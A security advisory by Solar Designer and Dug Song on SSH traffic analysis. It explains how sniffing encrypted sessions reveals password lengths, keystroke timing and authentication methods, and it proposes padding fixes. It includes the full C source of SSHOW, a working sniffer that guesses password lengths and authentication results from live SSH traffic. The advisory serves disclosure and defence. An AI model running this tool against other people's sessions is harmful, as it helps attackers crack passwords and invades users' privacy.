COMMAND

    ssh

SYSTEMS AFFECTED

    SSH

PROBLEM

    Solar  Designer  found  following.   This  advisory   demonstrates
    several  weaknesses  in  implementations  of  SSH  (Secure  Shell)
    protocols.  When exploited, they let the attacker obtain sensitive
    information by passively monitoring  encrypted SSH sessions.   The
    information can later be used  to speed up brute-force attacks  on
    passwords,  including  the  initial   login  password  and   other
    passwords appearing  in interactive  SSH sessions,  such as  those
    used with su(1) and Cisco IOS "enable" passwords.

    All  attacks  described  in  this  advisory require the ability to
    monitor (sniff) network  traffic between one  or more SSH  servers
    and clients.

    Version 1  of the  SSH protocol,  unless its  implementation takes
    special precautions to  avoid this, exposes  the exact lengths  of
    login  passwords  used  with  password  authentication.  The SSH-2
    protocol  doesn't  reveal  as  much  information,  but  a range of
    possible password lengths can still be determined.

    Additional weaknesses make it  possible to detect when  a password
    is  entered  during  an  interactive  SSH session, and to discover
    even more information about such passwords, including their  exact
    lengths  (with  both  protocol  versions)  and timing information.
    The latter exposes the  likelihood of possible characters  in each
    position of a password.

    All this information  may be entered  into a brute-force  password
    cracker  for  a  significant  speedup  due to reduced keyspace and
    other  optimizations,  including  attacking  user passwords in the
    order of increasing estimated complexity.

    Additionally, our SSH traffic analysis tool is able to detect  the
    use of RSA or DSA authentication,  and in the case of RSA  and SSH
    1.2.x  derived   SSH  server   implementations,  the   number   of
    authorized_keys  file  options.   The  latter  is  possible due to
    debugging  packets  sent  by  those  implementations.   If  a  SSH
    session with RSA authentication but no authorized_keys options  is
    seen,  an  attacker  may  infer  that  the  client machine has the
    private key sufficient to obtain full shell access to the  server.
    If the  session is  automated, the  private key  has to  be stored
    unencrypted.

    Finally,  it  is  possible  to  determine  the  lengths  of  shell
    commands,  and  in  some  cases,  the  commands themselves (from a
    small list of common ones) in an interactive session (which  isn't
    a security issue under most circumstances).

    It  should  be  noted  that,  despite  their  simplicity,  traffic
    analysis attacks such as those presented in this advisory  haven't
    been well researched.  We expect that similar attacks are possible
    against most  other "secure"  (encrypted) remote  login protocols.
    We also expect  additional traffic analysis  attacks on SSH  to be
    discovered.  In particular, there may be recognizable patterns  in
    X11 connections forwarded over SSH, but these are out of the scope
    of this advisory.

    When encapsulating plaintext  data in a  SSH protocol packet,  the
    data  is  padded  to  the  next  8-byte  boundary (or whatever the
    cipher's block  size is,  with SSH-2),  encrypted, and  sent along
    with the plaintext  length field.   SSH-1 sends this  field in the
    clear.

    As a  result, an  attacker passively  monitoring a  SSH session is
    able to  detect the  amount of  plaintext sent  in each  packet --
    exact for SSH-1, or a range of possible lengths for SSH-2.

    Since the  login password  is sent  in one  SSH-1 protocol  packet
    without any  special precautions,  an attacker  can determine  the
    exact password length.

    With  SSH-2,  other  information   (including  the  username)   is
    transmitted  in  the  same  packet  and  the  plaintext  length is
    encrypted, so  only a  range of  possible password  lengths can be
    determined.

    Fortunately, due  to the  use of  C strings  in most  SSH-1 server
    implementations, it is  usually possible for  a SSH client  to add
    sufficient NUL padding for just the passwords without a change  to
    the   protocol.    We   recommend   that   future   SSH-1   server
    implementations allow for  this padding, even  in cases where  the
    underlying OS interfaces do not necessarily imply this.

    An alternative workaround, proposed by Simon Tatham, is to send  a
    sequence  of  SSH-1  messages  containing  strings  of  increasing
    length.   Exactly one  of these  messages is  SSH_MSG_PASSWORD and
    contains the password  string.  All  the rest are  SSH_MSG_IGNORE.
    It is important that the number of messages sent remains  constant
    and is sufficient to cover the longest password we expect to  see.
    To safely transmit  passwords of up  to 32 characters,  1088 bytes
    of SSH-1 messages are needed,  which may still fit within  one TCP
    segment.   This  approach  has  the  advantage  that no assumption
    about SSH-1 server implementations  is made (other than  that they
    implement the protocol  correctly; some implementations  are known
    to have problems handling SSH_MSG_IGNORE).

    The SSH-2 protocol allows  for a solution (independently  proposed
    by several SSH-2 implementation  authors) with less overhead,  and
    without reliance on artifacts of protocol implementation.  A  pair
    of  SSH-2  messages,  SSH_MSG_USERAUTH_REQUEST and SSH_MSG_IGNORE,
    may  be  constructed  such  that  their  combined  length  remains
    constant.  The  messages can then  be sent to  the transport layer
    at once.

    With  interactive  shell  sessions,  input characters are normally
    echoed by the remote end, which usually results in an echo  packet
    from  the  server  for  each  input  character.   However,  if  an
    application  turns  input  echoing  off,  such  as  for entering a
    password, the packets start to go in one direction only -- to  the
    server.  Our simple traffic  analysis tool is able to  detect this
    easily and reliably.

    Once an attacker knows that the victim is entering a password, all
    they need to do is count the packets that didn't generate a  reply
    packet  from  the  server.   In  the  case  of  SSH-1,  the sum of
    plaintext  sizes  gives  the  exact  password  length,  save   any
    backspace characters.  With SSH-2, the attacker has to assume that
    each  packet  contains  only  one  password  character,  which  is
    typically the case.

    The  delays   between  packets   give  the   attacker   additional
    information  on  the  likelihood  of  possible  characters in each
    position of  the password.   For example,  if the  delay before  a
    character is larger than most other delays, it is likely that  the
    character requires more than one keystroke to type.

    When  typing  commands  in  a  command-line  shell  over SSH, each
    character generates a tiny echo packet from the server.   However,
    once the entire command is entered, a larger packet --  containing
    the shell prompt and possibly  the command's output -- is  sent by
    the server.

    By counting the tiny packets (or the plaintext lengths in  packets
    sent to the server, in the case of SSH-1), the attacker can  infer
    the length of each shell command.  To make detection more reliable
    with  SSH-1,  it  is  usually  possible  to  detect  backspaces by
    assuming that they produce a 3-character response (^H, space, ^H).

    Once again, the delays may be used -- this time for inferring  the
    actual shell commands typed, from a small list of common ones.

    The partial solution we propose is to modify SSH servers such that
    they simulate echo  packets when terminal  echo is disabled  by an
    application.   The  SSH_MSG_IGNORE  message  type  may  be used to
    ensure the client doesn't  actually process the contents  of these
    fake packets.  Thus, no change to the protocol is required.

    It is important to note that this partial solution may only defeat
    the most generic way to infer that a password is entered.  In many
    cases it  is possible  to do  the same  by other  means, including
    monitoring other related network traffic and events local to a SSH
    server system.

    Solving traffic analysis  vulnerabilities not related  to password
    information would  increase the  protocol overhead  significantly,
    and thus doesn't seem practical for many current uses of SSH.

    The use of compression makes many of the traffic analysis  attacks
    described above significantly less reliable.  This is because  the
    same amount of plaintext no  longer results in the same  amount of
    data  being   transmitted.    The  packet   sizes  are    somewhat
    "randomized".

    However, it is  likely that compression  also enables yet  another
    class of traffic analysis attacks,  as the changes to packet  size
    due to compression  aren't actually random  -- they depend  on the
    plaintext packet contents.

    We're already aware of one  practical attack that is possible  due
    to compression.  With SSH-2, the SSH_MSG_USERAUTH_REQUEST  message
    is transmitted after compression  is negotiated.  If  enabled, the
    size of the  resulting TCP segment  will depend on  the entropy of
    the plaintext password.   If a SSH_MSG_IGNORE  message is used  to
    pad the password as we have proposed, compression may defeat  some
    of the  benefit this  could have  provided.   This instance of the
    problem may be solved by transmitting the SSH_MSG_USERAUTH_REQUEST
    and  SSH_MSG_IGNORE  messages  uncompressed.   However,  this   is
    non-trivial to implement if a generic compression library is used.

    Several  of  the  attacks  outlined  in  this  advisory  were also
    independently discovered  by the  authors of  the following  paper
    (still work-in-progress), which describes some of them in  greater
    detail:
    - Dawn  Xiaodong  Song,  David  Wagner,  Xuqing  Tian:    ``Timing
      Analysis of Keystrokes and Timing Attacks on SSH.''

    In particular, they reveal that inter-keystroke timings leak about
    1 bit of information per character pair, and describe an attacking
    system,  Herbivore,  which  tries  to  learn  users'  passwords by
    monitoring SSH sessions.  Herbivore is demonstrated to reduce  the
    search  space  for  uniformly  randomly  chosen  passwords  of   8
    characters by a factor of 50.

    Although the paper is not yet publicly available, vendors  working
    to  fix  these   problems  may  contact   David  Wagner  (daw   at
    cs.berkeley.edu)   or    Dawn   Xiaodong    Song   (dawnsong    at
    cs.berkeley.edu) to obtain a copy.

    Solar Designer has  developed a SSH  traffic analysis tool,  which
    can be  used to  demonstrate many  of the  weaknesses described in
    this advisory.   The source  for initial  version of  the tool  is
    included below.  Future versions  will be maintained as a  part of
    Dug Song's dsniff package, available at:

        http://www.monkey.org/~dugsong/dsniff/

    The raw IP networking libraries required by SSHOW may be  obtained
    at:

        http://www.tcpdump.org/release/
        http://www.packetfactory.net/Projects/Libnet/
        http://www.packetfactory.net/Projects/Libnids/

    The code:

    /*
     * SSHOW.
     *
     * Copyright (c) 2000-2001 Solar Designer <solar@openwall.com>
     * Copyright (c) 2000 Dug Song <dugsong@monkey.org>
     *
     * You're allowed to do whatever you like with this software (including
     * re-distribution in source and/or binary form, with or without
     * modification), provided that credit is given where it is due and any
     * modified versions are marked as such.  There's absolutely no warranty.
     *
     * Note that you don't have to re-distribute modified versions of this
     * software under these same relaxed terms.  In particular, you're free to
     * place them under (L)GPL, thus disallowing re-distribution of further
     * modifications in binary-only form.
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <ctype.h>
    #include <unistd.h>
    #include <signal.h>
    #include <errno.h>
    #include <sys/types.h>
    #include <sys/times.h>
    #include <netinet/in_systm.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>

    extern char *optarg;
    extern int optind;

    #include <nids.h>

    #if !defined(NIDS_MAJOR) || (NIDS_MAJOR == 1 && NIDS_MINOR < 15)
    #error This code requires libnids 1.15+
    #endif

    #define HISTORY_SIZE			16

    typedef struct {
	    unsigned int min, max;
    } range;

    typedef struct {
	    int direction;			/* 0 for client to server */
	    clock_t timestamp;		/* timestamp of this packet */
	    unsigned int cipher_size;	/* ciphertext size */
	    range plain_range;		/* possible plaintext sizes */
    } record;

    struct history {
	    record packets[HISTORY_SIZE];	/* recent packets (circular list) */
	    int index;			/* next (free) index into packets[] */
	    unsigned int directions;	/* recent directions (bitmask) */
	    clock_t timestamps[2];		/* last timestamps in each direction */
    };

    struct line {
	    int input_count;		/* input packets (client to server) */
	    int input_size;			/* input size (estimated) */
	    int input_last;			/* last input packet size */
	    int echo_count;			/* echo packets (server to client) */
    };

    struct session {
	    int protocol;		/* -1 not SSH, 0 unknown, 1 or 2 once known */
	    int state;		/* 1 after username, 2 after authentication */
	    int compressed;		/* whether compression is known to be used */
	    struct history history;	/* session history */
	    struct line line;	/* current command line */
    };

    static int debug = 0;

    static clock_t now;

    static clock_t add_history(struct session *session, int direction,
	    unsigned int cipher_size, range *plain_range)
    {
	    record *current;
	    clock_t delay;

	    current = &session->history.packets[session->history.index++];
	    session->history.index %= HISTORY_SIZE;

	    current->direction = direction;
	    current->timestamp = now;
	    current->cipher_size = cipher_size;
	    current->plain_range = *plain_range;

	    session->history.directions <<= 1;
	    session->history.directions |= direction;

	    delay = now - session->history.timestamps[direction];
	    session->history.timestamps[direction] = now;

	    return delay;
    }

    static record *get_history(struct session *session, int age)
    {
	    int index;

	    index = session->history.index + (HISTORY_SIZE - 1) - age;
	    index %= HISTORY_SIZE;

	    return &session->history.packets[index];
    }

    static char *s_saddr(struct tcp_stream *ts)
    {
	    static char output[32];

	    snprintf(output, sizeof(output), "%s:%u",
		    inet_ntoa(*((struct in_addr *)&ts->addr.saddr)),
		    ts->addr.source);
	    return output;
    }

    static char *s_daddr(struct tcp_stream *ts)
    {
	    static char output[32];

	    snprintf(output, sizeof(output), "%s:%u",
		    inet_ntoa(*((struct in_addr *)&ts->addr.daddr)),
		    ts->addr.dest);
	    return output;
    }

    static char *s_range(range *range)
    {
	    static char output[32];

	    snprintf(output, sizeof(output),
		    range->min == range->max ? "%u" : "%u to %u",
		    range->min, range->max);
	    return output;
    }

    static void print_data(struct half_stream *stream, unsigned int count)
    {
	    unsigned int i;
	    int printable;

	    printable = 1;
	    for (i = 0; i < count; i++) {
		    printf("%02x%c", (int)(unsigned char)stream->data[i],
			    i < count - 1 && i % 24 != 23
			    ? ' ' : '\n');
		    printable &=
			    isprint(stream->data[i]) ||
			    stream->data[i] == '\n';
	    }
	    if (printable && count >= 4 && !memcmp(stream->data, "SSH-", 4))
		    fwrite(stream->data, count, 1, stdout);
    }

    static unsigned int ssh1_plain_size(struct half_stream *stream)
    {
	    if (stream->count_new < 4) return 0;

	    return (unsigned int)(unsigned char)stream->data[3] |
		    ((unsigned int)(unsigned char)stream->data[2] << 8) |
		    ((unsigned int)(unsigned char)stream->data[1] << 16) |
		    ((unsigned int)(unsigned char)stream->data[0] << 24);
    }

    static unsigned int ssh1_cipher_size(struct half_stream *stream)
    {
	    return 4 + ((ssh1_plain_size(stream) + 8) & ~7);
    }

    static range *ssh1_plain_range(struct half_stream *stream)
    {
	    static range output;

	    output.min = output.max = ssh1_plain_size(stream) - 5;
	    return &output;
    }

    static range *ssh2_plain_range(struct half_stream *stream)
    {
	    static range output;

	    output.max = stream->count_new - 16;
	    /* Assume min padding + 8-byte cipher blocksize */
	    output.min = output.max - 7;
	    if ((int)output.min < 0) output.min = 0;
	    return &output;
    }

    static void client_to_server(struct tcp_stream *ts, struct session *session,
	    unsigned int cipher_size, range *plain_range)
    {
	    clock_t delay;
	    int payload;

	    delay = add_history(session, 0, cipher_size, plain_range);

	    if (debug)
		    printf("- %s -> %s: DATA (%s bytes, %.2f seconds)\n",
			    s_saddr(ts), s_daddr(ts), s_range(plain_range),
			    (float)delay / CLK_TCK);
	    if (debug > 1)
		    print_data(&ts->server, cipher_size);

	    payload = plain_range->min;
	    if (session->state == 2 && payload > 0) {
		    session->line.input_count++;
		    session->line.input_last = payload;
		    if (session->protocol == 1)
			    payload -= 4;
		    else {
			    payload -= 20 + 1;
			    /* Assume several SSH-2 packets in this IP packet */
			    if (payload % 44 == 0) {
				    session->line.input_count += payload / 44;
				    /* One character per SSH-2 packet (typical) */
				    payload += payload / 44;
				    payload %= 44;
			    }
			    payload++;
		    }
		    if (payload <= 0) {
			    if (payload < 0 && !session->compressed &&
			        session->protocol == 1) {
				    session->compressed = 1;
				    printf("+ %s -> %s: Compression detected, "
					    "guesses will be much less reliable\n",
					    s_saddr(ts), s_daddr(ts));
			    }
			    payload = 1;
		    }
		    session->line.input_size += payload;
	    }
    }

    static void server_to_client(struct tcp_stream *ts, struct session *session,
	    unsigned int cipher_size, range *plain_range)
    {
	    clock_t delay;
	    int skip;
	    range string_range;

	    delay = add_history(session, 1, cipher_size, plain_range);

	    if (debug)
		    printf("- %s <- %s: DATA (%s bytes, %.2f seconds)\n",
			    s_saddr(ts), s_daddr(ts), s_range(plain_range),
			    (float)delay / CLK_TCK);
	    if (debug > 1)
		    print_data(&ts->client, cipher_size);

    /*
     * Some of the checks may want to skip over multiple server responses.
     * For example, there's a debugging packet sent for every option found
     * in authorized_keys, but we can't use those packets in our pattern.
     */
	    skip = 0;
	    while (((session->history.directions >> skip) & 3) == 3)
		    if (++skip > HISTORY_SIZE - 5) break;

	    if (session->state == 0 &&
	        session->protocol == 1 &&
	        ((session->history.directions >> skip) & 7) == 5 &&
	        plain_range->min == 0 &&
	        get_history(session, skip + 1)->plain_range.min > 4 &&
	        get_history(session, skip + 2)->plain_range.min == 0) {
		    session->state = 1;
		    string_range = get_history(session, skip + 1)->plain_range;
		    string_range.min -= 4; string_range.max -= 4;
		    printf("+ %s -> %s: GUESS: Username length is %s\n",
			    s_saddr(ts), s_daddr(ts), s_range(&string_range));
		    return;
	    }

	    if (session->state == 1 &&
    #ifdef USE_TIMING
	        now - get_history(session, 2)->timestamp >= CLK_TCK &&
    #endif
	        session->protocol == 1 &&
	        (session->history.directions & 7) == 5 &&
	        plain_range->min == 0 &&
	        get_history(session, 1)->plain_range.min > 4 &&
	        get_history(session, 2)->plain_range.min == 0) {
		    session->state = 2;
		    string_range = get_history(session, 1)->plain_range;
		    string_range.min -= 4; string_range.max -= 4;
		    printf("+ %s -> %s: GUESS: Password authentication, "
			    "password length %s %s%s\n",
			    s_saddr(ts), s_daddr(ts),
			    string_range.min == 32 ? "appears to be" : "is",
			    s_range(&string_range),
			    string_range.min == 32 ? " (padded?)" : "");
	    }

	    if (session->state == 0 &&
	        session->protocol == 2 &&
	        (session->history.directions & 7) == 5) {
		    if (plain_range->min == 4 + 9) {
			    string_range = get_history(session, 1)->plain_range;

			    if (string_range.min > 500 && string_range.min < 600) {
				    session->state = 2;
				    printf("+ %s -> %s: GUESS: DSA "
					    "authentication accepted\n",
					    s_saddr(ts), s_daddr(ts));
			    } else
			    if (string_range.min > 42 + 9) {
				    session->state = 2;
				    printf("+ %s -> %s: GUESS: Password "
					    "authentication accepted\n",
					    s_saddr(ts), s_daddr(ts));
			    }
		    } else
		    if (plain_range->min > 12 + 9 && plain_range->min < 56 + 9) {
			    string_range = get_history(session, 1)->plain_range;

			    if (string_range.min > 500 && string_range.min < 600)
				    printf("+ %s -> %s: GUESS: DSA "
					    "authentication failed\n",
					    s_saddr(ts), s_daddr(ts));
			    else if (string_range.min > 42 + 9)
				    printf("+ %s -> %s: GUESS: Password "
					    "authentication failed\n",
					    s_saddr(ts), s_daddr(ts));
		    }
	    }

	    if (session->state == 1 &&
	        session->protocol == 1 &&
	        (session->history.directions & 3) == 1 &&
	        plain_range->min == 0 &&
	        get_history(session, 1)->plain_range.min == 130) {
		    printf("+ %s -> %s: GUESS: RSA authentication refused\n",
			    s_saddr(ts), s_daddr(ts));
	    }

	    if (session->state == 1 &&
	        session->protocol == 1 &&
	        skip >= 1 &&
	        ((session->history.directions >> (skip - 1)) & 037) == 013 &&
	        plain_range->min == 0 &&
	        get_history(session, skip - 1 + 2)->plain_range.min == 16 &&
	        get_history(session, skip - 1 + 3)->plain_range.min == 130 &&
	        get_history(session, skip - 1 + 4)->plain_range.min == 130) {
		    char *what;

		    switch (get_history(session, 1)->plain_range.min - 4) {
		    case 28:
			    /* "RSA authentication accepted." */
			    session->state = 2;
			    if (skip > 1 && (what = alloca(64))) {
				    snprintf(what, 64,
				        "accepted (%d+ authorized_keys option%s)",
				        skip - 1, skip - 1 == 1 ? "" : "s");
				    break;
			    }
			    what = "accepted";
			    break;

		    case 47:
			    /* "Wrong response to RSA authentication challenge." */
			    what = "failed";
			    break;

		    default:
			    what = "???";
		    }

		    printf("+ %s -> %s: GUESS: RSA authentication %s\n",
			    s_saddr(ts), s_daddr(ts), what);
	    }

	    if (session->state == 2) {
		    session->line.echo_count++;

		    /* Check for backspace */
		    if (session->protocol == 1 && !session->compressed &&
		        plain_range->min == 4 + 3 &&
		        session->line.input_size >= 2)
			    session->line.input_size -= 2;

		    if (plain_range->min > 4 + session->line.input_last &&
		        session->line.input_count >= 2 &&
		        session->line.input_size >= 2) {
			    int size;
			    char *what;

			    size = session->line.input_size;
			    if (session->line.echo_count + 1 >=
			        session->line.input_count &&
			        size <= (session->line.input_count << 2) &&
			        size < 0x100)
				    what = "(command) line";
			    else
			    if (session->line.echo_count <= 2 &&
			        size <= (session->line.input_count << 1) &&
			        size >= 2 + 1 && size <= 40 + 1)
				    what = "password";
			    else
				    what = NULL;

			    if (debug)
				    printf("- %s -> %s: sent %d packets "
					    "(%d characters), seen %d replies\n",
					    s_saddr(ts), s_daddr(ts),
					    session->line.input_count, size,
					    session->line.echo_count);

			    if (what)
				    printf("+ %s -> %s: GUESS: "
					    "a %s of %d character%s\n",
					    s_saddr(ts), s_daddr(ts),
					    what, size - 1, size == 2 ? "" : "s");
		    }

		    if (plain_range->min <= 0 ||
		        plain_range->min > 4 + session->line.input_last) {
			    session->line.input_count = 0;
			    session->line.input_size = 0;
			    session->line.echo_count = 0;
		    }
	    }
    }

    static void process_data(struct tcp_stream *ts, struct session *session)
    {
	    unsigned int have, need;
	    char *lf;

	    if (session->protocol < 0) return;

	    if (ts->client.count_new &&
	        (have = ts->client.count - ts->client.offset)) {
		    switch (session->protocol) {
		    case 1:
			    if (have < (need = ssh1_cipher_size(&ts->client))) {
				    if (debug)
					    printf("- %s <- %s: got %u of "
						    "%u bytes\n", s_saddr(ts),
						    s_daddr(ts), have, need);
				    nids_discard(ts, 0);
				    return;
			    }
			    if (have != need && debug)
				    printf("- %s <- %s: left %u bytes\n",
					    s_saddr(ts), s_daddr(ts),
					    have - need);
			    nids_discard(ts, need);
			    server_to_client(ts, session, need,
				    ssh1_plain_range(&ts->client));
			    return;

		    case 2:
			    server_to_client(ts, session, have,
				    ssh2_plain_range(&ts->client));
			    return;

		    default:
			    break;
		    }
	    }

	    if (ts->server.count_new &&
	        (have = ts->server.count - ts->server.offset)) {
		    if (!session->protocol) {
			    lf = (char *)memchr(ts->server.data, '\n', have);
			    if (have < 7 || (!lf && have < 0x100)) {
				    nids_discard(ts, 0);
				    return;
			    }
			    if (lf && !memcmp(ts->server.data, "SSH-", 4))
				    session->protocol = ts->server.data[4] - '0';
			    /* some clients announce SSH-1.99 instead of SSH-2.0 */
			    if (session->protocol == 1 &&
			        ts->server.data[5] == '.' &&
			        ts->server.data[6] == '9')
				    session->protocol = 2;
			    if (session->protocol != 1 && session->protocol != 2) {
				    session->protocol = -1;
				    if (debug)
					    printf("- %s -> %s: not SSH\n",
						    s_saddr(ts), s_daddr(ts));
				    return;
			    }
			    need = lf - ts->server.data + 1;
			    nids_discard(ts, need);
			    printf("+ %s -> %s: SSH protocol %d\n",
				    s_saddr(ts), s_daddr(ts), session->protocol);
			    if (debug)
				    print_data(&ts->server, have);
			    return;
		    }

		    switch (session->protocol) {
		    case 1:
			    if (have < (need = ssh1_cipher_size(&ts->server))) {
				    if (debug)
					    printf("- %s -> %s: got %u of "
						    "%u bytes\n", s_saddr(ts),
						    s_daddr(ts), have, need);
				    nids_discard(ts, 0);
				    return;
			    }
			    if (have != need && debug)
				    printf("- %s -> %s: left %u bytes\n",
					    s_saddr(ts), s_daddr(ts),
					    have - need);
			    nids_discard(ts, need);
			    client_to_server(ts, session, need,
				    ssh1_plain_range(&ts->server));
			    return;

		    case 2:
			    client_to_server(ts, session, have,
				    ssh2_plain_range(&ts->server));
		    }
	    }
    }

    static void process_event(struct tcp_stream *ts, struct session **session)
    {
	    struct tms buf;
	    char *what;

	    now = times(&buf);

	    what = NULL;
	    switch (ts->nids_state) {
	    case NIDS_JUST_EST:
		    ts->client.collect = 1;
		    ts->server.collect = 1;
		    if (debug)
			    printf("- %s -> %s: ESTABLISHED\n",
				    s_saddr(ts), s_daddr(ts));
		    if (!(*session = calloc(1, sizeof(**session)))) {
			    errno = ENOMEM;
			    perror("calloc");
			    exit(1);
		    }
		    (*session)->history.timestamps[0] = now;
		    (*session)->history.timestamps[1] = now;
		    return;

	    case NIDS_CLOSE:
		    what = "CLOSED";

	    case NIDS_RESET:
		    if (!what) what = "RESET";

	    case NIDS_TIMED_OUT:
		    if (!what) what = "TIMED OUT";
		    if ((*session)->protocol > 0)
			    printf("+ %s -- %s: %s\n",
				    s_saddr(ts), s_daddr(ts), what);
		    else if (debug)
			    printf("- %s -- %s: %s\n",
				    s_saddr(ts), s_daddr(ts), what);
		    free(*session);
		    return;

	    case NIDS_DATA:
		    process_data(ts, *session);
		    return;
	    }
    }

    static void dummy_syslog(int type, int errnum, struct ip *iph, void *data)
    {
    }

    static void cleanup(int signum)
    {
	    exit(0);	/* Just so that atexit(3) jobs are called */
    }

    static void usage(void)
    {
	    fprintf(stderr, "Usage: sshow [-d] [-i interface]\n");
	    exit(1);
    }

    int main(int argc, char *argv[])
    {
	    int c;

	    while ((c = getopt(argc, argv, "di:h?")) != -1) {
		    switch (c) {
		    case 'd':
			    debug++;
			    break;
		    case 'i':
			    nids_params.device = optarg;
			    break;
		    default:
			    usage();
			    break;
		    }
	    }
	    argc -= optind;
	    argv += optind;

	    if (argc != 0) usage();

	    signal(SIGTERM, cleanup);
	    signal(SIGINT, cleanup);
	    signal(SIGHUP, cleanup);

	    setlinebuf(stdout);

	    nids_params.syslog = dummy_syslog;
	    nids_params.scan_num_hosts = 0;
	    nids_params.pcap_filter = "tcp";
	    nids_params.one_loop_less = 1;
	    if (!nids_init()) {
		    fprintf(stderr, "nids_init: %s\n", nids_errbuf);
		    return 1;
	    }

	    nids_register_tcp(process_event);
	    nids_run();

	    return 0;
    }

    Makefile:

    CC = gcc
    LD = gcc
    RM = rm -f
    CFLAGS = -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include
    LDFLAGS = -s
    LIBS = -L/usr/local/lib -lnids -lnet -lpcap

    PROJ = sshow
    OBJS = sshow.o

    all: $(PROJ)

    sshow: $(OBJS)
	    $(LD) $(LDFLAGS) $(OBJS) $(LIBS) -o sshow

    .c.o:
	    $(CC) $(CFLAGS) $*.c

    clean:
	    $(RM) $(PROJ) $(OBJS)

    This advisory, the SSHOW traffic analysis tool, and the unofficial
    SSH 1.2.x patch were written by Solar Designer and Dug Song.

SOLUTION

    Several SSH  implementations have  been changed  to include  fixes
    which reduce the  impact of some  of the traffic  analysis attacks
    described in this  advisory.  It  is important to  understand that
    these  fixes  are  by  no  means  a  complete  solution to traffic
    analysis  --  only  simple  remediation  for  the  most   pressing
    vulnerabilities described above.

    Fixes have been initially applied to OpenSSH starting with version
    2.5.0.  OpenSSH 2.5.2 contains  the more complete versions of  the
    fixes and solves  certain interoperability issues  associated with
    the earlier versions.  For some OS distributions:

        Linux-Mandrake 7.1: 7.1/RPMS/openssh-2.9p1-3.3mdk.i586.rpm
                            7.1/RPMS/openssh-askpass-2.9p1-3.3mdk.i586.rpm
                            7.1/RPMS/openssh-askpass-gnome-2.9p1-3.3mdk.i586.rpm
                            7.1/RPMS/openssh-clients-2.9p1-3.3mdk.i586.rpm
                            7.1/RPMS/openssh-server-2.9p1-3.3mdk.i586.rpm
                            7.1/SRPMS/openssh-2.9p1-3.3mdk.src.rpm
        Linux-Mandrake 7.2: 7.2/RPMS/openssh-2.9p1-3.2mdk.i586.rpm
                            7.2/RPMS/openssh-askpass-2.9p1-3.2mdk.i586.rpm
                            7.2/RPMS/openssh-askpass-gnome-2.9p1-3.2mdk.i586.rpm
                            7.2/RPMS/openssh-clients-2.9p1-3.2mdk.i586.rpm
                            7.2/RPMS/openssh-server-2.9p1-3.2mdk.i586.rpm
                            7.2/SRPMS/openssh-2.9p1-3.2mdk.src.rpm
        Linux-Mandrake 8.0: 8.0/RPMS/openssh-2.9p1-3.1mdk.i586.rpm
                            8.0/RPMS/openssh-askpass-2.9p1-3.1mdk.i586.rpm
                            8.0/RPMS/openssh-askpass-gnome-2.9p1-3.1mdk.i586.rpm
                            8.0/RPMS/openssh-clients-2.9p1-3.1mdk.i586.rpm
                            8.0/RPMS/openssh-server-2.9p1-3.1mdk.i586.rpm
                            8.0/SRPMS/openssh-2.9p1-3.1mdk.src.rpm
    Corporate Server 1.0.1: 1.0.1/RPMS/openssh-2.9p1-3.4mdk.i586.rpm
                            1.0.1/RPMS/openssh-askpass-2.9p1-3.4mdk.i586.rpm
                            1.0.1/RPMS/openssh-askpass-gnome-2.9p1-3.4mdk.i586.rpm
                            1.0.1/RPMS/openssh-clients-2.9p1-3.4mdk.i586.rpm
                            1.0.1/RPMS/openssh-server-2.9p1-3.4mdk.i586.rpm
                            1.0.1/SRPMS/openssh-2.9p1-3.4mdk.src.rpm
        ImmunixOS: http://immunix.org/ImmunixOS/6.2/updates/RPMS/openssh-2.5.2p2-1_StackGuard_2.i386.rpm
                   http://immunix.org/ImmunixOS/6.2/updates/RPMS/openssh-askpass-2.5.2p2-1_StackGuard_2.i386.rpm
                   http://immunix.org/ImmunixOS/6.2/updates/RPMS/openssh-askpass-gnome-2.5.2p2-1_StackGuard_2.i386.rpm
                   http://immunix.org/ImmunixOS/6.2/updates/RPMS/openssh-clients-2.5.2p2-1_StackGuard_2.i386.rpm
                   http://immunix.org/ImmunixOS/6.2/updates/RPMS/openssh-server-2.5.2p2-1_StackGuard_2.i386.rpm
                   http://immunix.org/ImmunixOS/6.2/updates/SRPMS/openssh-2.5.2p2-1_StackGuard_2.src.rpm
                   http://immunix.org/ImmunixOS/7.0/updates/RPMS/openssh-2.5.2p2-1_imnx_2.i386.rpm
                   http://immunix.org/ImmunixOS/7.0/updates/RPMS/openssh-askpass-2.5.2p2-1_imnx_2.i386.rpm
                   http://immunix.org/ImmunixOS/7.0/updates/RPMS/openssh-clients-2.5.2p2-1_imnx_2.i386.rpm
                   http://immunix.org/ImmunixOS/7.0/updates/RPMS/openssh-server-2.5.2p2-1_imnx_2.i386.rpm
                   http://immunix.org/ImmunixOS/7.0/updates/SRPMS/openssh-2.5.2p2-1_imnx_2.src.rpm
           RedHat: ftp://updates.redhat.com/7.0/en/os/SRPMS/openssh-2.5.2p2-1.7.2.src.rpm
                   ftp://updates.redhat.com/7.0/en/os/alpha/openssh-2.5.2p2-1.7.2.alpha.rpm
                   ftp://updates.redhat.com/7.0/en/os/alpha/openssh-clients-2.5.2p2-1.7.2.alpha.rpm
                   ftp://updates.redhat.com/7.0/en/os/alpha/openssh-server-2.5.2p2-1.7.2.alpha.rpm
                   ftp://updates.redhat.com/7.0/en/os/alpha/openssh-askpass-2.5.2p2-1.7.2.alpha.rpm
                   ftp://updates.redhat.com/7.0/en/os/alpha/openssh-askpass-gnome-2.5.2p2-1.7.2.alpha.rpm
                   ftp://updates.redhat.com/7.0/en/os/i386/openssh-2.5.2p2-1.7.2.i386.rpm
                   ftp://updates.redhat.com/7.0/en/os/i386/openssh-clients-2.5.2p2-1.7.2.i386.rpm
                   ftp://updates.redhat.com/7.0/en/os/i386/openssh-server-2.5.2p2-1.7.2.i386.rpm
                   ftp://updates.redhat.com/7.0/en/os/i386/openssh-askpass-2.5.2p2-1.7.2.i386.rpm
                   ftp://updates.redhat.com/7.0/en/os/i386/openssh-askpass-gnome-2.5.2p2-1.7.2.i386.rpm
        Conectiva: ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/openssh-2.5.2p2-1cl.src.rpm
                   ftp://atualizacoes.conectiva.com.br/5.0/i386/openssh-clients-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/5.0/i386/openssh-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/5.0/i386/openssh-askpass-2.5.2p2-1cl.i386.rpm
